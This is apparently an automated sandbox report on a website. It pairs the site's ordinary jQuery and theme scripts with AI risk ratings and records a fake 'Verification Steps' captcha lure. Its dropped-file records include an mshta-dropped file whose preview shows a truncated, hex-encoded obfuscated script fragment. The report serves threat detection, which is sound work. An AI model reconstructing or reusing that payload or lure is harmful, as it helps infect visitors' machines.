window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/www.cipassoitalia.it\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.0.9"}}; /! This file is auto-generated / !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode,e=(p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0),i.toDataURL());return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p\|\|!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([129777,127995,8205,129778,127999],[129777,127995,8203,129778,127999])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(e=t.source\|\|{}).concatemoji?c(e.concatemoji):e.wpemoji&&e.twemoji&&(c(e.twemoji),c(e.wpemoji)))}(window,document,window._wpemojiSettings);
URL: https://www.cipassoitalia.it/wp-includes/js/jquery... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of the jQuery Migrate plugin, which is a utility that helps developers migrate their jQuery-based code from older versions to newer versions of jQuery. The script does not contain any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script primarily focuses on providing compatibility and deprecation warnings for certain jQuery functions and features, which is a common practice in library development. While the script uses some legacy APIs like `XDomainRequest`, these are not inherently malicious and are used in a transparent manner. Overall, the script appears to be a legitimate part of the jQuery Migrate plugin and poses a low risk." }
/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / "undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0,s.migrateWarnings.push(e),t&&t.warn&&!s.migrateMute&&(t.warn("JQMIGRATE: "+e),s.migrateTrace&&t.trace&&t.trace()))}function t(e,t,r,n){Object.defineProperty(e,t,{configurable:!0,enumerable:!0,get:function(){return u(n),r},set:function(e){u(n),r=e}})}function o(e,t,r,n){e[t]=function(){return u(n),r.apply(this,arguments)}}s.migrateDeduplicateWarnings=!0,s.migrateWarnings=[],void 0===s.migrateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a,c,d={},l=s.fn.init,p=s.find,f=/\[(\s[-\w]+\s)([~\|^$]?=)\s([-\w#]?#[-\w#])\s\]/,y=/\[(\s[-\w]+\s)([~\|^$]?=)\s([-\w#]?#[-\w#])\s\]/g,m=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g;for(i in s.fn.init=function(e){var t=Array.prototype.slice.call(arguments);return"string"==typeof e&&"#"===e&&(u("jQuery( '#' ) is not a valid selector"),t[0]=[]),l.apply(this,t)},s.fn.init.prototype=s.fn,s.find=function(t){var r=Array.prototype.slice.call(arguments);if("string"==typeof t&&f.test(t))try{n.document.querySelector(t)}catch(e){t=t.replace(y,function(e,t,r,n){return"["+t+r+'"'+n+'"]'});try{n.document.querySelector(t),u("Attribute selector with '#' must be quoted: "+r[0]),r[0]=t}catch(e){u("Attribute selector with '#' was not fixed: "+r[0])}}return p.apply(this,r)},p)Object.prototype.hasOwnProperty.call(p,i)&&(s.find[i]=p[i]);o(s.fn,"size",function(){return this.length},"jQuery.fn.size() is deprecated and removed; use the .length property"),o(s,"parseJSON",function(){return JSON.parse.apply(null,arguments)},"jQuery.parseJSON is deprecated; use JSON.parse"),o(s,"holdReady",s.holdReady,"jQuery.holdReady is deprecated"),o(s,"unique",s.uniqueSort,"jQuery.unique is deprecated; use jQuery.uniqueSort"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace(m,"")},"jQuery.trim is deprecated; use String.prototype.trim"),e("3.2.0")&&(o(s,"nodeName",function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},"jQuery.nodeName is deprecated"),o(s,"isArray",Array.isArray,"jQuery.isArray is deprecated; use Array.isArray")),e("3.3.0")&&(o(s,"isNumeric",function(e){var t=typeof e;return("number"==t\|\|"string"==t)&&!isNaN(e-parseFloat(e))},"jQuery.isNumeric() is deprecated"),s.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){d["[object "+t+"]"]=t.toLowerCase()}),o(s,"type",function(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?d[Object.prototype.toString.call(e)]\|\|"object":typeof e},"jQuery.type is deprecated"),o(s,"isFunction",function(e){return"function"==typeof e},"jQuery.isFunction() is deprecated"),o(s,"isWindow",function(e){return null!=e&&e===e.window},"jQuery.isWindow() is deprecated")),s.ajax&&(a=s.ajax,c=/(=)\?(?=&\|$)\|\?\?/,s.a
URL: https://www.cipassoitalia.it/wp-content/themes/enf... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate and benign script that enhances the functionality of a website. It primarily focuses on initializing and activating various jQuery-based plugins and scripts, such as parallax scrolling, video sections, accordion menus, and other common web development features. There are no indications of high-risk behaviors like dynamic code execution, data exfiltration, or suspicious redirects. The script seems to be part of a larger web application framework or theme, and its purpose is to provide a smooth and interactive user experience. Overall, the risk score is low, as the script demonstrates typical web development practices without any obvious malicious intent." }
(function($) { "use strict"; $(document).ready(function() { //global variables that are used on several ocassions $.avia_utilities = $.avia_utilities \|\| {}; if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement) { $.avia_utilities.isMobile = true; } else { $.avia_utilities.isMobile = false; } //activate fixed bg fallback for mobile if($.fn.avia_mobile_fixed) $('.avia-bg-style-fixed').avia_mobile_fixed(); //activate parallax scrolling for backgrounds. if($.fn.avia_parallax) $('.av-parallax').avia_parallax(); //calculate the browser height and append a css rule to the head if($.fn.avia_browser_height) $('.av-minimum-height, .avia-fullscreen-slider, .av-cell-min-height').avia_browser_height(); //calculate the height of each video section if($.fn.avia_video_section) $('.av-section-with-video-bg').avia_video_section(); //creates team social icon tooltip new $.AviaTooltip({'class': "avia-tooltip", data: "avia-tooltip", delay:0, scope: "body"}); //creates icon element tooltip new $.AviaTooltip({'class': "avia-tooltip avia-icon-tooltip", data: "avia-icon-tooltip", delay:0, scope: "body"}); $.avia_utilities.activate_shortcode_scripts(); //layer slider height helper if($.fn.layer_slider_height_helper) $('.avia-layerslider').layer_slider_height_helper(); //"ajax" portfolio if($.fn.avia_portfolio_preview) { $('.grid-links-ajax').avia_portfolio_preview(); } // actiavte the masonry script: sorting/loading/etc if($.fn.avia_masonry) $('.av-masonry').avia_masonry(); //activate the accordion if($.fn.aviaccordion) $('.aviaccordion').aviaccordion(); //activate the accordion if($.fn.avia_textrotator) $('.av-rotator-container').avia_textrotator(); //activates the tab section shortcode if($.fn.avia_sc_tab_section) { $('.av-tab-section-container').avia_sc_tab_section(); } //activates the hor gallery shortcode if($.fn.avia_hor_gallery) { $('.av-horizontal-gallery').avia_hor_gallery(); } // activate columns and cells with a link if($.fn.avia_link_column) { $('.avia-link-column').avia_link_column(); } if($.fn.avia_delayed_animation_in_container) { $('.av-animation-delay-container').avia_delayed_animation_in_container(); } }); // ------------------------------------------------------------------------------------------- // ACTIVATE ALL SHORTCODES // ------------------------------------------------------------------------------------------- $.avia_utilities = $.avia_utilities \|\| {}; $.avia_utilities.activate_shortcode_scripts = function(container) { if(typeof container == 'undefined'){ container = 'body';} //activates the form shortcode if($.fn.avia_ajax_form) { $('.avia_ajax_form:not( .avia-disable-default-ajax )', container).avia_ajax_form(); } activate_waypoints(container); //activate the video api if($.fn.aviaVideoApi) { $('.avia-slideshow iframe[src*="youtube.com"], .av_youtube_frame, .av_vimeo_frame, .avia-slideshow video').aviaVideoApi({}, 'li'); } //activates the toggle shortcode if($.fn.avia_sc_toggle) { $('.togglecontainer', container).avia_sc_toggle(); } //activates the tabs shortcode if($.fn.avia_sc_tabs) { $('.top_tab', container).avia_sc_tabs(); $('.sidebar_tab', container).avia_sc_tabs({sidebar:true}); } //activates behavior and animation for gallery if($.fn.avia_sc_gallery) { $('.avia-gallery', container).avia_sc_gallery(); } //activates animated number shortcode if($.fn.avia_sc_animated_number) { $('.avia-animated-number', container).avia_sc_animated_number(); } //animation for elements that are not conne
URL: https://www.cipassoitalia.it/wp-content/plugins/co... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a cookie management utility that is commonly used in web applications to handle cookie-related functionality. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code primarily focuses on setting, reading, and deleting cookies, which is a standard practice for web applications. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, the script seems to be a legitimate implementation of cookie management functionality and is considered low risk." }
CLI_ACCEPT_COOKIE_NAME = (typeof CLI_ACCEPT_COOKIE_NAME !== 'undefined' ? CLI_ACCEPT_COOKIE_NAME : 'viewed_cookie_policy'); CLI_PREFERNCE_COOKIE = (typeof CLI_PREFERNCE_COOKIE !== 'undefined' ? CLI_PREFERNCE_COOKIE : 'CookieLawInfoConsent'); CLI_ACCEPT_COOKIE_EXPIRE = (typeof CLI_ACCEPT_COOKIE_EXPIRE !== 'undefined' ? CLI_ACCEPT_COOKIE_EXPIRE : 365); CLI_COOKIEBAR_AS_POPUP = (typeof CLI_COOKIEBAR_AS_POPUP !== 'undefined' ? CLI_COOKIEBAR_AS_POPUP : false); var CLI_Cookie = { set: function (name, value, days) { var secure = ""; if (true === Boolean(Cli_Data.secure_cookies)) { secure = ";secure"; } if (days) { var date = new Date(); date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000)); var expires = "; expires=" + date.toGMTString(); } else { var expires = ""; } document.cookie = name + "=" + value + secure + expires + "; path=/"; if (days < 1) { host_name = window.location.hostname; document.cookie = name + "=" + value + expires + "; path=/; domain=." + host_name + ";"; if (host_name.indexOf("www") != 1) { var host_name_withoutwww = host_name.replace('www', ''); document.cookie = name + "=" + value + secure + expires + "; path=/; domain=" + host_name_withoutwww + ";"; } host_name = host_name.substring(host_name.lastIndexOf(".", host_name.lastIndexOf(".") - 1)); document.cookie = name + "=" + value + secure + expires + "; path=/; domain=" + host_name + ";"; } }, read: function (name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') { c = c.substring(1, c.length); } if (c.indexOf(nameEQ) === 0) { return c.substring(nameEQ.length, c.length); } } return null; }, erase: function (name) { this.set(name, "", -10); }, exists: function (name) { return (this.read(name) !== null); }, getallcookies: function () { var pairs = document.cookie.split(";"); var cookieslist = {}; for (var i = 0; i < pairs.length; i++) { var pair = pairs[i].split("="); cookieslist[(pair[0] + '').trim()] = unescape(pair[1]); } return cookieslist; } } var CLI = { bar_config: {}, showagain_config: {}, allowedCategories: [], js_blocking_enabled: false, set: function (args) { if (typeof JSON.parse !== "function") { console.log("CookieLawInfo requires JSON.parse but your browser doesn't support it"); return; } if (typeof args.settings !== 'object') { this.settings = JSON.parse(args.settings); } else { this.settings = args.settings; } this.js_blocking_enabled = Boolean(Cli_Data.js_blocking); this.settings = args.settings; this.bar_elm = jQuery(this.settings.notify_div_id); this.showagain_elm = jQuery(this.settings.showagain_div_id); this.settingsModal = jQuery('#cliSettingsPopup'); /* buttons */ this.main_button = jQuery('.cli-plugin-main-button'); this.main_link = jQuery('.cli-plugin-main-link'); this.reject_link = jQuery('.cookie_action_close_header_reject'); this.delete_link = jQuery(".cookielawinfo-cookie-delete"); this.settings_button = jQuery('.cli_settings_button'); this.accept_all_button = jQuery('.wt-cli-accept-all-btn'); if (this.settings.cookie_bar_as == 'popup') { CLI_COOKIEBAR_AS_POPUP = true; } this.mayBeSetPreferenceCookie(); this.addStyleAttribute(); this.configBar(); this.toggleBar(); this.attachDelete(); this.attachEvents(); this.configButtons(); this.reviewConsent(); var cli_hidebar_on_readmore = this.hideBarInReadMoreLink(); if (Boolean(this.settings.scroll_close) === true && cli_hidebar_on_readmore === false) { window.addEventListener("scroll", CLI.closeOnScroll, false); } }, hideBarInReadMoreLink: function () { if (Boolean(CLI.settings.button_2_hidebar) === true && this.main_link.length > 0 && this.main_link.hasClass('cli-minimize-bar')) { this.hideHeader(); cliBlocker.cookieBar(false); this.showagain_elm.slideDown(this.settings.animate_
URL: https://www.cipassoitalia.it/wp-content/themes/enf... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate part of a website's functionality, with no clear indicators of malicious intent. It primarily handles browser detection, mobile device handling, and various UI-related features such as the hamburger menu, scroll-to-top button, and lightbox functionality. While it uses some legacy APIs like `XDomainRequest`, these are not inherently malicious and are likely used for compatibility reasons. Overall, the script demonstrates typical website enhancement behaviors without any high-risk indicators." }
(function($) { "use strict"; $(document).ready(function() { var aviabodyclasses = AviaBrowserDetection('html'); $.avia_utilities = $.avia_utilities \|\| {}; if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement) { $.avia_utilities.isMobile = true; } else { $.avia_utilities.isMobile = false; } //activates the hamburger mobile menu avia_hamburger_menu(); //show scroll top but1ton avia_scroll_top_fade(); //calculate width of content aviaCalcContentWidth(); //creates search tooltip new $.AviaTooltip({"class": 'avia-search-tooltip',data: 'avia-search-tooltip', event:'click', position:'bottom', scope: "body", attach:'element', within_screen: true}); //creates relate posts tooltip new $.AviaTooltip({"class": 'avia-related-tooltip', data: 'avia-related-tooltip', scope: ".related_posts, .av-share-box", attach:'element', delay:0}); //creates ajax search new $.AviaAjaxSearch({scope:'#header, .avia_search_element'}); // actiavte portfolio sorting if($.fn.avia_iso_sort) $('.grid-sort-container').avia_iso_sort(); // Checks height of content and sidebar and applies shadow class to the higher one AviaSidebarShaowHelper(); $.avia_utilities.avia_ajax_call(); }); $.avia_utilities = $.avia_utilities \|\| {}; $.avia_utilities.avia_ajax_call = function(container) { if(typeof container == 'undefined'){ container = 'body';}; $('a.avianolink').on('click', function(e){ e.preventDefault(); }); $('a.aviablank').attr('target', '_blank'); //activates the prettyphoto lightbox if($.fn.avia_activate_lightbox){ $(container).avia_activate_lightbox(); } //scrollspy for main menu. must be located before smoothscrolling if($.fn.avia_scrollspy) { if(container == 'body') { $('body').avia_scrollspy({target:'.main_menu .menu li > a'}); } else { $('body').avia_scrollspy('refresh'); } } //smooth scrooling if($.fn.avia_smoothscroll) $('a[href="#"]', container).avia_smoothscroll(container); avia_small_fixes(container); avia_hover_effect(container); avia_iframe_fix(container); //activate html5 video player if($.fn.avia_html5_activation && $.fn.mediaelementplayer) $(".avia_video, .avia_audio", container).avia_html5_activation({ratio:'16:9'}); } // ------------------------------------------------------------------------------------------- // Error log helper // ------------------------------------------------------------------------------------------- $.avia_utilities.log = function(text, type, extra) { if(typeof console == 'undefined'){return;} if(typeof type == 'undefined'){type = "log"} type = "AVIA-" + type.toUpperCase(); console.log("["+type+"] "+text); if(typeof extra != 'undefined') console.log(extra); } // ------------------------------------------------------------------------------------------- // keep track of the browser and content width // ------------------------------------------------------------------------------------------- function aviaCalcContentWidth() { var win = $(window), width_select= $('html').is('.html_header_sidebar') ? "#main" : "#header", outer = $(width_select), outerParent = outer.parents('div:eq(0)'), the_main = $(width_select + ' .container:first'), css_block = "", calc_dimensions = function() { var css = "", w_12 = Math.round( the_main.width() ), w_outer = Math.round( outer.width() ), w_inner = Math.round( outerParent.width() ); //css rules for mega menu css += " #header .three.units{width:" + ( w_12 0.25)+ "px;}"; css += " #header .six.units{width:" + ( w_12 * 0.50)+ "px;}"; css += " #header .nine.units
URL: https://www.cipassoitalia.it/wp-includes/js/jquery... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The script is a standard jQuery library snippet, which is widely used and trusted. It does not exhibit any high-risk or moderate-risk behaviors such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script is not obfuscated and does not interact with external domains in a suspicious manner. It primarily consists of utility functions and object manipulations typical of a library. Therefore, it is considered low risk." }
/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="s
URL: https://www.cipassoitalia.it/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Complete these Verification Steps", "prominent_button_name": "VERIFY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.cipassoitalia.it/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	2121184
Entropy (8bit):	4.141726508670004
Encrypted:	false
SSDEEP:	24576:ErQXI8kx1imSWrQbrQrjrx7wbrBL/WDrxeBrfal8rnF:hnPfwd7irWJeBalOF
MD5:	27E6BC5C0F3984CC4BCDAEFDB8EE8A09
SHA1:	E54AFC1198073A445546C3FC45DD15D4135D0A17
SHA-256:	7C1BBC910FA463008BEA97B7E7A636869D9D3C8AB0F065014C307259CC0A0334
SHA-512:	0DB90EB5633738DA20A874E38CC102C759193ECA844FDEB661CC61DA20B1DD4E75BB4FE738CB0040CB877AD4EFC3DB04278ABF1C46FCF288ECD7A0F7B725B5EF
Malicious:	false
Reputation:	low
Preview:	66B75M6el63e74k69n6fV6ey20C61F45U54h70A72W28P48A6bo54D61b72D29X7bD76g61Z72S20C5aG6bS43i68L67F3dt20S27j27p3bN66z6fY72w20t28p76J61Y72C20P4ca49k62x49L6aq20B3dR20k30x3bj4cy49f62L49M6ai20g3cC20Q48r6bz54a61P72R2eg6cC65B6eQ67G74h68N3bN20e4cd49K62s49R6aJ2bH2br29J7bo76I61U72z20r71h55n4cM41O47N20m3dt20h53C74o72L69T6eR67I2ep66l72K6fC6dj43V68T61B72B43T6fQ64W65v28Y48h6bL54S61u72R5bo4cU49N62E49s6aU5db20T2dx20b37V38h37y29r3by5aC6bY43d68G67k20d3dY20f5am6bs43x68q67q20V2bz20q71W55Q4cB41c47o7dc72h65S74h75I72C6eV20a5af6bm43S68f67w7dW3bJ76i61L72J20n5aQ6bp43b68M67u20e3dk20y61y45k54z70Q72w28P5bK38a38r36L2cZ38c39b36C2cF38G38F37f2cL38u33z33q2cI38L38G38O2cM39y30A37U2cX38C38Y38D2cX38p31g39W2cV38P33m34v2cR38W38l36h2cL38N31k39U2cG39P30T32q2cy39I30c33n2cJ38i38C34L2cZ39W30o31X2cD39X30f33P2ca38j31K39v2cH38D39Y39l2cZ38Z39C38y2cO39f30O36H2ci38i38F38P2cN39s30M31m2cM39a30W32v2ci38O39d31n2ci38U38u38X2cF38Y39i35v2cj38r39N35k2cf38E31w39t2cI38g33o32V2cS39P30B36h2cW38X31i39h2cg38c33C36L2cv38O31Q39t2cl38q33C32K2cz38J35f36W2ce3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	12584
Entropy (8bit):	4.905392021155998
Encrypted:	false
SSDEEP:	384:brib4Z1VoGIpN6KQkj2qkjh4iUxCdjT6Ypib47:bL1V3IpNBQkj2Ph4iUxCdX6YP
MD5:	3A797BB89F31B1A6A41B9531C27450B4
SHA1:	F88C7BA1622656BA69E2041EED645AE4182A06B4
SHA-256:	09DB28EA3982D7E071A8383057146C78F2C71D9FED8CCEC309DE9E1CA01108A4
SHA-512:	C09328F9B63B831A6906AFE695581083F5AE3858825E5A8AB6E7698F604C25C19338CB80E32D0F0756C875DE8F20CD5A577C1B967D9B1513CF39832D4AA7F8E5
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14516
Entropy (8bit):	5.45209012009061
Encrypted:	false
SSDEEP:	384:K8ijr3WMuSg8mVL7pvVT6X5qaJrBqeSAJk5T+fUp4el:rwrGMy8mt7qX5qa1se6WUpJ
MD5:	06672123763C4407FE2CDDDA25BAEBEF
SHA1:	1BFC358A541990A77ED512A42947DA45BF4FE921
SHA-256:	5382DB24AB447336B9BEB18F445361C6FDD774858E0FEBBBA85C06C6AF79B8A6
SHA-512:	CB33F8F76FA3DDBAD01E8C6C74977CDA4DDF394D059315B965885C0B9BDAE2C104F8F13093826CB89817DC8BEFC028C77B6957851AB8312FED8716DA11AB16CD
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........H...............o..b~.D.poM...%..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.................%...K... ...........System.Xml..@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementD....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02soceqj.gmq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
